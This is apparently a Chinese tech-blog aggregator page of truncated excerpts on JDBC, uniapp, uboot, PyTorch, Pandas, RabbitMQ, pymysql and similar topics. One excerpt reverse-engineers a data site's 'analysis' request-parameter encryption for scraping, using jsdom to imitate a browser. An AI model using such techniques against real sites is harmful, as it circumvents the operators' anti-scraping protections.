Java程序方面 1. JDBC驱动程序&#xff1a;JDBC驱动程序是连接MySQL数据库的核心组件。它是一组Java类&#xff0c;用于实现与MySQL数据库的通信协议和数据传输。驱动程序负责将Java程序发送的请求转化为MySQL数据库能够理解的格式&#xff0c;并将数据库返回的结果转化为Java…...

uniapp踩坑之项目:uniapp数字键盘组件—APP端

//在components文件夹创建digitKeyboard文件夹&#xff0c;再创建digitKeyboard.vue <!-- 数字键盘 --> <template><view class"digit-keyboard"><view class"digit-keyboard_bg" tap"hide"></view><view clas…...

聊一聊GPT——让我们的写作和翻译更高效

1 介绍 GPT&#xff08;Generative Pre-trained Transformer&#xff09;是一种基于Transformer的语言生成模型&#xff0c;由OpenAI开发。它采用了无监督的预训练方式&#xff0c;通过处理大量的文本数据进行自我学习&#xff0c;从而提高其语言生成的能力。 GPT在自然语言…...

413 (Payload Too Large) 2023最新版解决方法

文章目录 出现问题解决方法 出现问题 博主在用vue脚手架开发的时候&#xff0c;在上传文件的接口中碰到 这样一个错误&#xff0c;查遍所有csdn&#xff0c;都没有找到解决方法&#xff0c;通过一些方式&#xff0c;终于解决了。 解决方法 1.打开Vue项目的根目录。 2.在根目…...

uboot启动linux kernel的流程

目录 前言流程图autoboot_commandrun_command_listdo_bootmdo_bootm_statesdo_bootm_linuxboot_prep_linuxboot_jump_linux 前言 本文在u-boot启动流程分析这篇文章的基础上&#xff0c;简要梳理uboot启动linux kernel的流程。 流程图 其中&#xff0c; autoboot_command位于…...

垃圾回收系统小程序定制开发搭建攻略

在这个数字化快速发展的时代&#xff0c;垃圾回收系统的推广对于环境保护和可持续发展具有重要意义。为了更好地服务于垃圾回收行业&#xff0c;本文将分享如何使用第三方制作平台乔拓云网&#xff0c;定制开发搭建垃圾回收系统小程序。 首先&#xff0c;使用乔拓云网账号登录平…...

可变参数模板

1. sizeof...计算参数个数 template<typename... Ts> void magic(Ts... args) {std::cout << sizeof...(args) << std::endl; } 2.递归模板函数 template<typename T> void printf1(T value) {std::cout << value << std::endl; }templ…...

坐公交:内外向乘客依序选座(python字典、字符串、元组)

n排宽度不一的座位&#xff0c;每排2座&#xff0c;2n名内外向乘客依序上车按各自喜好选座。 (笔记模板由python脚本于2023年11月05日 21:49:31创建&#xff0c;本篇笔记适合熟悉python列表list、字符串str、元组tuple的coder翻阅) 【学习的细节是欢悦的历程】 Python 官网&…...

十年老程序员分享13个最常用的Python深度学习库和介绍,赶紧收藏码住!

文章目录 前言CaffeTheanoTensorFlowLasagneKerasmxnetsklearn-theanonolearnDIGITSBlocksdeepypylearn2Deeplearning4j关于Python技术储备一、Python所有方向的学习路线二、Python基础学习视频三、精品Python学习书籍四、Python工具包项目源码合集①Python工具包②Python实战案…...

【pytorch源码分析--torch执行流程与编译原理】

背景 解读torch源码方便算子开发方便后续做torch 模型性能开发 基本介绍 代码库 https://github.com/pytorch/pytorch 模块介绍 aten: A Tensor Library的缩写。与Tensor相关的内容都放在这个目录下。如Tensor的定义、存储、Tensor间的操作&#xff08;即算子/OP&#xff…...

编辑器报警处理

1、warning CS8600: 将 null 文本或可能的 null 值转换为不可为 null 类型。 原代码 string returnedString Marshal.PtrToStringAuto(pReturnedString, (int)bytesReturned); 处理后的代码 string returnedString Marshal.PtrToStringAuto(pReturnedString, (int)bytesR…...

Python库学习(十二):数据分析Pandas[下篇]

接着上篇《Python库学习(十一):数据分析Pandas[上篇]》,继续学习Pandas 1.数据过滤 在数据处理中&#xff0c;我们经常会对数据进行过滤&#xff0c;为此Pandas中提供mask()和where()两个函数&#xff1b; mask(): 在 满足条件的情况下替换数据&#xff0c;而不满足条件的部分…...

工具: MarkDown学习

具体内容看官方教程&#xff1a; Markdown官方教程...

JS逆向爬虫---请求参数加密②【某麦数据analysis参数加密】

主页链接: https://www.qimai.cn/rank analysis逆向 完整参数生成代码如下&#xff1a; const {JSDOM} require(jsdom) const dom new JSDOM(<!DOCTYPE html><p>hello</p>) window dom.windowfunction customDecrypt(n, t) {t t || generateKey(); //…...

基于APM(PIX)飞控和missionplanner制作遥控无人车-从零搭建自主pix无人车无人坦克

前面的步骤和无人机调试一样&#xff0c;可以参考无人机相关专栏。这里不再赘述。 1.安装完rover的固件后&#xff0c;链接gps并进行校准。旋转小车不同方向&#xff0c;完成校准&#xff0c;弹出成功窗口。 2.校准遥控器。 一定要确保遥控器模式准确&#xff0c;尤其是使用没…...

Vue3的手脚架使用和组件父子间通信-插槽(Options API)学习笔记

Vue CLI安装和使用 全局安装最新vue3 npm install vue/cli -g升级Vue CLI&#xff1a; 如果是比较旧的版本&#xff0c;可以通过下面命令来升级 npm update vue/cli -g通过脚手架创建项目 vue create 01_product_demoVue3父子组件的通信 父传子 父组件 <template>…...

第九章软件管理

云计算第九章软件管理 概述 1RPM包 RPM Package Manager 由Red Hat公司提出被众多Linux发现版所采用 也称二进制无需编译可以直接使用 无法设定个人设置开关功能 软件包示例 认识ROM包 2源码包 source code 需要经过GCC,C编辑环境编译才能运行 可以设定个人设置&…...

Web渗透编程语言基础

Web渗透初学者JavaScript专栏汇总-CSDN博客 Web渗透Java初学者文章汇总-CSDN博客 一 Web渗透PHP语言基础 PHP 教程 | 菜鸟教程 (runoob.com) 一 PHP 语言的介绍 PHP是一种开源的服务器端脚本语言,它被广泛用于Web开发领域。PHP可以与HTML结合使用,创建动态网页。 PHP的特…...

【Linux】shell脚本忽略错误继续执行

在 shell 脚本中&#xff0c;可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行&#xff0c;可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令&#xff0c;并忽略错误 rm somefile…...

从零实现富文本编辑器#5-编辑器选区模型的状态结构表达

先前我们总结了浏览器选区模型的交互策略&#xff0c;并且实现了基本的选区操作&#xff0c;还调研了自绘选区的实现。那么相对的&#xff0c;我们还需要设计编辑器的选区表达&#xff0c;也可以称为模型选区。编辑器中应用变更时的操作范围&#xff0c;就是以模型选区为基准来…...

【入坑系列】TiDB 强制索引在不同库下不生效问题

文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...

大型活动交通拥堵治理的视觉算法应用

大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动&#xff08;如演唱会、马拉松赛事、高考中考等&#xff09;期间&#xff0c;城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例&#xff0c;暖城商圈曾因观众集中离场导致周边…...

关于nvm与node.js

1 安装nvm 安装过程中手动修改 nvm的安装路径&#xff0c; 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解&#xff0c;但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后&#xff0c;通常在该文件中会出现以下配置&…...

技术栈RabbitMq的介绍和使用

目录 1. 什么是消息队列&#xff1f;2. 消息队列的优点3. RabbitMQ 消息队列概述4. RabbitMQ 安装5. Exchange 四种类型5.1 direct 精准匹配5.2 fanout 广播5.3 topic 正则匹配 6. RabbitMQ 队列模式6.1 简单队列模式6.2 工作队列模式6.3 发布/订阅模式6.4 路由模式6.5 主题模式…...

七、数据库的完整性

七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...

20个超级好用的 CSS 动画库

分享 20 个最佳 CSS 动画库。 它们中的大多数将生成纯 CSS 代码&#xff0c;而不需要任何外部库。 1.Animate.css 一个开箱即用型的跨浏览器动画库&#xff0c;可供你在项目中使用。 2.Magic Animations CSS3 一组简单的动画&#xff0c;可以包含在你的网页或应用项目中。 3.An…...

手机平板能效生态设计指令EU 2023/1670标准解读

手机平板能效生态设计指令EU 2023/1670标准解读 以下是针对欧盟《手机和平板电脑生态设计法规》(EU) 2023/1670 的核心解读&#xff0c;综合法规核心要求、最新修正及企业合规要点&#xff1a; 一、法规背景与目标 生效与强制时间 发布于2023年8月31日&#xff08;OJ公报&…...

MySQL的pymysql操作

本章是MySQL的最后一章&#xff0c;MySQL到此完结&#xff0c;下一站Hadoop&#xff01;&#xff01;&#xff01; 这章很简单&#xff0c;完整代码在最后&#xff0c;详细讲解之前python课程里面也有&#xff0c;感兴趣的可以往前找一下 一、查询操作 我们需要打开pycharm …...